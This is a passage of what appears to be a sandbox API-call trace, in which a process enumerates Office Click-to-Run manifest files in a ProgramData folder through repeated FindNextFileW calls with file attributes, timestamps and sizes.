cFileName="C2RManifest.Visio.Visio.x-none.msi.16.x-none.xml", cAlternateFileName="C2668D~1.XML")) returned 1 [0080.350] FindNextFileW (in: hFindFile=0x1ec32b90, lpFindFileData=0x1faee660 | out: lpFindFileData=0x1faee660*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1a4a3b4, ftCreationTime.dwHighDateTime=0x1d47c32, ftLastAccessTime.dwLowDateTime=0x1a4a3b4, ftLastAccessTime.dwHighDateTime=0x1d47c32, ftLastWriteTime.dwLowDateTime=0x1218203, ftLastWriteTime.dwHighDateTime=0x1d47c32, nFileSizeHigh=0x0, nFileSizeLow=0xf0cb4, dwReserved0=0x0, dwReserved1=0x0, cFileName="C2RManifest.visiomui.msi.16.en-us.xml", cAlternateFileName="C2A712~1.XML")) returned 1 [0080.350] FindNextFileW (in: hFindFile=0x1ec32b90, lpFindFileData=0x1faee660 | out: lpFindFileData=0x1faee660*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xecf5ca1c, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xecf5ca1c, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xd2dd401b, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x1536e, dwReserved0=0x0, dwReserved1=0x0, cFileName="C2RManifest.Word.Word.x-none.msi.16.x-none.xml", cAlternateFileName="C2RMAN~2.XML")) returned 1 [0080.350] FindNextFileW (in: hFindFile=0x1ec32b90, lpFindFileData=0x1faee660 | out: lpFindFileData=0x1faee660*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xecf3682d, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xecf3682d, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xd3a7e818, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x130fe, dwReserved0=0x0, dwReserved1=0x0, cFileName="C2RManifest.wordmui.msi.16.en-us.xml", cAlternateFileName="C2RMAN~1.XML")) returned 1 [0080.350] FindNextFileW (in: hFindFile=0x1ec32b90, lpFindFileData=0x1faee660 | out: lpFindFileData=0x1faee660*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x49bee514, ftCreationTime.dwHighDateTime=0x1d32745, ftLastAccessTime.dwLowDateTime=0x49bee514, ftLastAccessTime.dwHighDateTime=0x1d32745, ftLastWriteTime.dwLowDateTime=0xd2dfa2a2, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x12c470, dwReserved0=0x0, dwReserved1=0x0, cFileName="integrator.exe", cAlternateFileName="INTEGR~1.EXE")) returned 1 [0080.351] FindNextFileW (in: hFindFile=0x1ec32b90, lpFindFileData=0x1faee660 | out: lpFindFileData=0x1faee660*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3f3481a2, ftCreationTime.dwHighDateTime=0x1d327e9, ftLastAccessTime.dwLowDateTime=0x3f3481a2, ftLastAccessTime.dwHighDateTime=0x1d327e9, ftLastWriteTime.dwLowDateTime=0xf427d4ce, ftLastWriteTime.dwHighDateTime=0x1d47c33, nFileSizeHigh=0x0, nFileSizeLow=0xce8, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft_Office_OfficeTelemetryAgentFallBack2016.xml", cAlternateFileName="MICROS~2.XML")) returned 1 [0080.351] FindNextFileW (in: hFindFile=0x1ec32b90, lpFindFileData=0x1faee660 | out: lpFindFileData=0x1faee660*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3f0e5bdc, ftCreationTime.dwHighDateTime=0x1d327e9, ftLastAccessTime.dwLowDateTime=0x3f0e5bdc, ftLastAccessTime.dwHighDateTime=0x1d327e9, ftLastWriteTime.dwLowDateTime=0xf40d9aa3, ftLastWriteTime.dwHighDateTime=0x1d47c33, nFileSizeHigh=0x0, nFileSizeLow=0xca6, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft_Office_OfficeTelemetryAgentLogOn2016.xml", cAlternateFileName="MICROS~1.XML")) returned 1 [0080.351] FindNextFileW (in: hFindFile=0x1ec32b90, lpFindFileData=0x1faee660 | out: lpFindFileData=0x1faee660*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x433f4072, ftCreationTime.dwHighDateTime=0x1d327e9, ftLastAccessTime.dwLowDateTime=0x433f4072, ftLastAccessTime.dwHighDateTime=0x1d327e9, ftLastWriteTime.dwLowDateTime=0x1bd7df5e, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x1b826, dwReserved0=0x0, dwReserved1=0x0, cFileName="msoutilstat.etw.man", cAlternateFileName="MSOUTI~1.MAN")) returned 1 [0080.351] FindNextFileW (in: hFindFile=0x1ec32b90, lpFindFileData=0x1faee660 | out: lpFindFileData=0x1faee660*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x42b4f7c0, ftCreationTime.dwHighDateTime=0x1d327e9, ftLastAccessTime.dwLowDateTime=0x42b4f7c0, ftLastAccessTime.dwHighDateTime=0x1d327e9, ftLastWriteTime.dwLowDateTime=0x244f1ded, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x9bddd, dwReserved0=0x0, dwReserved1=0x0, cFileName="wordEtw.man", cAlternateFileName="")) returned 1 [0080.351] FindNextFileW (in: hFindFile=0x1ec32b90, lpFindFileData=0x1faee660 | out: lpFindFileData=0x1faee660*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0080.351] FindClose (in: hFindFile=0x1ec32b90 | out: hFindFile=0x1ec32b90) returned 1 [0080.352] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1faee8c0) returned 1 [0080.352] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1faee880) returned 1 [0080.352] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1faee980) returned 1 [0080.353] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}", nBufferLength=0x105, lpBuffer=0x1faee420, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}", lpFilePart=0x0) returned 0x4a [0080.353] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\*", lpFindFileData=0x1faee6a0 | out: lpFindFileData=0x1faee6a0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x49bee514, ftCreationTime.dwHighDateTime=0x1d32745, ftLastAccessTime.dwLowDateTime=0x3b87bb60, ftLastAccessTime.dwHighDateTime=0x1d47c34, ftLastWriteTime.dwLowDateTime=0x3b87bb60, ftLastWriteTime.dwHighDateTime=0x1d47c34, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1ec32b90 [0080.353] FindNextFileW (in: hFindFile=0x1ec32b90, lpFindFileData=0x1faee660 | out: lpFindFileData=0x1faee660*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x49bee514, ftCreationTime.dwHighDateTime=0x1d32745, ftLastAccessTime.dwLowDateTime=0x3b87bb60, ftLastAccessTime.dwHighDateTime=0x1d47c34, ftLastWriteTime.dwLowDateTime=0x3b87bb60, ftLastWriteTime.dwHighDateTime=0x1d47c34, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0080.354] FindNextFileW (in: hFindFile=0x1ec32b90, lpFindFileData=0x1faee660 | out: lpFindFileData=0x1faee660*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x437adb83, ftCreationTime.dwHighDateTime=0x1d327e9, ftLastAccessTime.dwLowDateTime=0x437adb83, ftLastAccessTime.dwHighDateTime=0x1d327e9, ftLastWriteTime.dwLowDateTime=0x247ecc35, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x44e23, dwReserved0=0x0, dwReserved1=0x0, cFileName="AirSpace.Etw.man", cAlternateFileName="AIRSPA~1.MAN")) returned 1 [0080.354] FindNextFileW (in: hFindFile=0x1ec32b90, lpFindFileData=0x1faee660 | out: lpFindFileData=0x1faee660*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xed71c4aa, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xed71c4aa, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xd2686ce0, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x91f0, dwReserved0=0x0, dwReserved1=0x0, cFileName="C2RManifest.Access.Access.x-none.msi.16.x-none.xml", cAlternateFileName="C25A45~1.XML")) returned 1 [0080.354] FindNextFileW (in: hFindFile=0x1ec32b90, lpFindFileData=0x1faee660 | out: lpFindFileData=0x1faee660*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xed71c4aa, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xed71c4aa, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xd356d87a, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0xe71c, dwReserved0=0x0, dwReserved1=0x0, cFileName="C2RManifest.accessmui.msi.16.en-us.xml", cAlternateFileName="C222C2~1.XML")) returned 1 [0080.354] FindNextFileW (in: hFindFile=0x1ec32b90, lpFindFileData=0x1faee660 | out: lpFindFileData=0x1faee660*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xed71c4aa, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xed71c4aa, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xd31d9ff6, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x7fa, dwReserved0=0x0, dwReserved1=0x0, cFileName="C2RManifest.accessmuiset.msi.16.en-us.xml", cAlternateFileName="C2FB2E~1.XML")) returned 1 [0080.355] FindNextFileW (in: hFindFile=0x1ec32b90, lpFindFileData=0x1faee660 | out: lpFindFileData=0x1faee660*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xed6f62ed, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xed6f62ed, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xd26f9444, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x3f14, dwReserved0=0x0, dwReserved1=0x0, cFileName="C2RManifest.DCF.DCF.x-none.msi.16.x-none.xml", cAlternateFileName="C210C4~1.XML")) returned 1 [0080.355] FindNextFileW (in: hFindFile=0x1ec32b90, lpFindFileData=0x1faee660 | out: lpFindFileData=0x1faee660*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xed6f62ed, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xed6f62ed, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xd31415cd, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x265a, dwReserved0=0x0, dwReserved1=0x0, cFileName="C2RManifest.dcfmui.msi.16.en-us.xml", cAlternateFileName="C206B0~1.XML")) returned 1 [0080.355] FindNextFileW (in: hFindFile=0x1ec32b90, lpFindFileData=0x1faee660 | out: lpFindFileData=0x1faee660*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xed611426, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xed611426, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xd252f7b4, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x39d9c, dwReserved0=0x0, dwReserved1=0x0, cFileName="C2RManifest.Excel.Excel.x-none.msi.16.x-none.xml", cAlternateFileName="C21578~1.XML")) returned 1 [0080.355] FindNextFileW (in: hFindFile=0x1ec32b90, lpFindFileData=0x1faee660 | out: lpFindFileData=0x1faee660*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xed5c4f9a, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xed5c4f9a, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xd330b2e9, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x8f70, dwReserved0=0x0, dwReserved1=0x0, cFileName="C2RManifest.excelmui.msi.16.en-us.xml", cAlternateFileName="C2D2CD~1.XML")) returned 1 [0080.355] FindNextFileW (in: hFindFile=0x1ec32b90, lpFindFileData=0x1faee660 | out: lpFindFileData=0x1faee660*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xed59ed2c, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xed59ed2c, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xd23fe538, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x8f8e, dwReserved0=0x0, dwReserved1=0x0, cFileName="C2RManifest.Groove.Groove.x-none.msi.16.x-none.xml", cAlternateFileName="C233DB~1.XML")) returned 1 [0080.355] FindNextFileW (in: hFindFile=0x1ec32b90, lpFindFileData=0x1faee660 | out: lpFindFileData=0x1faee660*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xed59ed2c, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xed59ed2c, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xd3298bbd, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x180e, dwReserved0=0x0, dwReserved1=0x0, cFileName="C2RManifest.groovemui.msi.16.en-us.xml", cAlternateFileName="C26024~1.XML")) returned 1 [0080.356] FindNextFileW (in: hFindFile=0x1ec32b90, lpFindFileData=0x1faee660 | out: lpFindFileData=0x1faee660*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xed59ed2c, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xed59ed2c, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xd257bc65, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x1979c, dwReserved0=0x0, dwReserved1=0x0, cFileName="C2RManifest.Lync.Lync.x-none.msi.16.x-none.xml", cAlternateFileName="C25956~1.XML")) returned 1 [0080.356] FindNextFileW (in: hFindFile=0x1ec32b90, lpFindFileData=0x1faee660 | out: lpFindFileData=0x1faee660*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xed578aca, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xed578aca, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xd32bedda, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x5b94, dwReserved0=0x0, dwReserved1=0x0, cFileName="C2RManifest.lyncmui.msi.16.en-us.xml", cAlternateFileName="C2FCD6~1.XML")) returned 1 [0080.356] FindNextFileW (in: hFindFile=0x1ec32b90, lpFindFileData=0x1faee660 | out: lpFindFileData=0x1faee660*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xed5063b1, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xed5063b1, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xd3593a88, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x6b4a, dwReserved0=0x0, dwReserved1=0x0, cFileName="C2RManifest.office32mui.msi.16.en-us.xml", cAlternateFileName="C2BADD~1.XML")) returned 1 [0080.356] FindNextFileW (in: hFindFile=0x1ec32b90, lpFindFileData=0x1faee660 | out: lpFindFileData=0x1faee660*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xed3d50b2, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xed3d50b2, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xd2cc8f5f, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x4f3f4, dwReserved0=0x0, dwReserved1=0x0, cFileName="C2RManifest.office32ww.msi.16.x-none.xml", cAlternateFileName="C2EBFE~1.XML")) returned 1 [0080.356] FindNextFileW (in: hFindFile=0x1ec32b90, lpFindFileData=0x1faee660 | out: lpFindFileData=0x1faee660*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xed31650e, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xed31650e, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xd36c4db5, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x19870, dwReserved0=0x0, dwReserved1=0x0, cFileName="C2RManifest.officemui.msi.16.en-us.xml", cAlternateFileName="C29059~1.XML")) returned 1 [0080.356] FindNextFileW (in: hFindFile=0x1ec32b90, lpFindFileData=0x1faee660 | out: lpFindFileData=0x1faee660*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xed2f02a6, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xed2f02a6, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xd38424c0, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x7fa, dwReserved0=0x0, dwReserved1=0x0, cFileName="C2RManifest.officemuiset.msi.16.en-us.xml", cAlternateFileName="C2467F~1.XML")) returned 1 [0080.357] FindNextFileW (in: hFindFile=0x1ec32b90, lpFindFileData=0x1faee660 | out: lpFindFileData=0x1faee660*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xed2f02a6, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xed2f02a6, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xd295b9b9, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x17b3c, dwReserved0=0x0, dwReserved1=0x0, cFileName="C2RManifest.OneNote.OneNote.x-none.msi.16.x-none.xml", cAlternateFileName="C21839~1.XML")) returned 1 [0080.357] FindNextFileW (in: hFindFile=0x1ec32b90, lpFindFileData=0x1faee660 | out: lpFindFileData=0x1faee660*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xed2ca0b4, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xed2ca0b4, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xd375d6d3, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x4a4a, dwReserved0=0x0, dwReserved1=0x0, cFileName="C2RManifest.onenotemui.msi.16.en-us.xml", cAlternateFileName="C24C3D~1.XML")) returned 1 [0080.357] FindNextFileW (in: hFindFile=0x1ec32b90, lpFindFileData=0x1faee660 | out: lpFindFileData=0x1faee660*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xed2a3e81, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xed2a3e81, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xd29a7ddb, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x5f6, dwReserved0=0x0, dwReserved1=0x0, cFileName="C2RManifest.OSM.OSM.x-none.msi.16.x-none.xml", cAlternateFileName="C24EFF~1.XML")) returned 1 [0080.357] FindNextFileW (in: hFindFile=0x1ec32b90, lpFindFileData=0x1faee660 | out: lpFindFileData=0x1faee660*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xed2a3e81, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xed2a3e81, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xd3678904, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x2b28, dwReserved0=0x0, dwReserved1=0x0, cFileName="C2RManifest.osmmui.msi.16.en-us.xml", cAlternateFileName="C25F09~1.XML")) returned 1 [0080.357] FindNextFileW (in: hFindFile=0x1ec32b90, lpFindFileData=0x1faee660 | out: lpFindFileData=0x1faee660*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xed25796c, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xed25796c, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xd28c2fa3, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x906, dwReserved0=0x0, dwReserved1=0x0, cFileName="C2RManifest.OSMUX.OSMUX.x-none.msi.16.x-none.xml", cAlternateFileName="C22C6F~1.XML")) returned 1 [0080.358] FindNextFileW (in: hFindFile=0x1ec32b90, lpFindFileData=0x1faee660 | out: lpFindFileData=0x1faee660*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xed25796c, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xed25796c, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xd362c40f, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x2b8a, dwReserved0=0x0, dwReserved1=0x0, cFileName="C2RManifest.osmuxmui.msi.16.en-us.xml", cAlternateFileName="C21C45~1.XML")) returned 1 [0080.358] FindNextFileW (in: hFindFile=0x1ec32b90, lpFindFileData=0x1faee660 | out: lpFindFileData=0x1faee660*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xed25796c, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xed25796c, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xd276bb03, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x17194, dwReserved0=0x0, dwReserved1=0x0, cFileName="C2RManifest.Outlook.Outlook.x-none.msi.16.x-none.xml", cAlternateFileName="C29151~1.XML")) returned 1 [0080.358] FindNextFileW (in: hFindFile=0x1ec32b90, lpFindFileData=0x1faee660 | out: lpFindFileData=0x1faee660*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xed20b499, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xed20b499, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xd3783951, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x17984, dwReserved0=0x0, dwReserved1=0x0, cFileName="C2RManifest.outlookmui.msi.16.en-us.xml", cAlternateFileName="C2C4E2~1.XML")) returned 1 [0080.358] FindNextFileW (in: hFindFile=0x1ec32b90, lpFindFileData=0x1faee660 | out: lpFindFileData=0x1faee660*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xed1e5243, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xed1e5243, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xd27de170, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0xafddc, dwReserved0=0x0, dwReserved1=0x0, cFileName="C2RManifest.PowerPivot.PowerPivot.x-none.msi.16.x-none.xml", cAlternateFileName="C280EB~1.XML")) returned 1 [0080.359] FindNextFileW (in: hFindFile=0x1ec32b90, lpFindFileData=0x1faee660 | out: lpFindFileData=0x1faee660*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xed12666a, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xed12666a, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xd290f4ec, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x195a4, dwReserved0=0x0, dwReserved1=0x0, cFileName="C2RManifest.PowerPoint.PowerPoint.x-none.msi.16.x-none.xml", cAlternateFileName="C222CA~1.XML")) returned 1 [0080.359] FindNextFileW (in: hFindFile=0x1ec32b90, lpFindFileData=0x1faee660 | out: lpFindFileData=0x1faee660*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xed0da264, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xed0da264, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xd35dffce, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x689e, dwReserved0=0x0, dwReserved1=0x0, cFileName="C2RManifest.powerpointmui.msi.16.en-us.xml", cAlternateFileName="C27FF4~1.XML")) returned 1 [0080.359] FindNextFileW (in: hFindFile=0x1ec32b90, lpFindFileData=0x1faee660 | out: lpFindFileData=0x1faee660*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3b87bb60, ftCreationTime.dwHighDateTime=0x1d47c34, ftLastAccessTime.dwLowDateTime=0x3b87bb60, ftLastAccessTime.dwHighDateTime=0x1d47c34, ftLastWriteTime.dwLowDateTime=0x3b1a0d3d, ftLastWriteTime.dwHighDateTime=0x1d47c34, nFileSizeHigh=0x0, nFileSizeLow=0x7446, dwReserved0=0x0, dwReserved1=0x0, cFileName="C2RManifest.Project.Project.x-none.msi.16.x-none.xml", cAlternateFileName="C2E87B~1.XML")) returned 1 [0080.359] FindNextFileW (in: hFindFile=0x1ec32b90, lpFindFileData=0x1faee660 | out: lpFindFileData=0x1faee660*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3b87bb60, ftCreationTime.dwHighDateTime=0x1d47c34, ftLastAccessTime.dwLowDateTime=0x3b87bb60, ftLastAccessTime.dwHighDateTime=0x1d47c34, ftLastWriteTime.dwLowDateTime=0x3b2d20ad, ftLastWriteTime.dwHighDateTime=0x1d47c34, nFileSizeHigh=0x0, nFileSizeLow=0x809e, dwReserved0=0x0, dwReserved1=0x0, cFileName="C2RManifest.projectmui.msi.16.en-us.xml", cAlternateFileName="C26005~1.XML")) returned 1 [0080.359] FindNextFileW (in: hFindFile=0x1ec32b90, lpFindFileData=0x1faee660 | out: lpFindFileData=0x1faee660*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xed08dd97, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xed08dd97, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xd397382c, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x63ae, dwReserved0=0x0, dwReserved1=0x0, cFileName="C2RManifest.Proof.Culture.msi.16.en-us.xml", cAlternateFileName="C2B3EB~1.XML")) returned 1 [0080.359] FindNextFileW (in: hFindFile=0x1ec32b90, lpFindFileData=0x1faee660 | out: lpFindFileData=0x1faee660*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xed08dd97, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xed08dd97, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xd37a9bb2, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x5fee, dwReserved0=0x0, dwReserved1=0x0, cFileName="C2RManifest.Proof.Culture.msi.16.es-es.xml", cAlternateFileName="C23127~1.XML")) returned 1 [0080.360] FindNextFileW (in: hFindFile=0x1ec32b90, lpFindFileData=0x1faee660 | out: lpFindFileData=0x1faee660*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xed067a9a, ftCreationTime.dwHighDateTime=0x1d327e7, 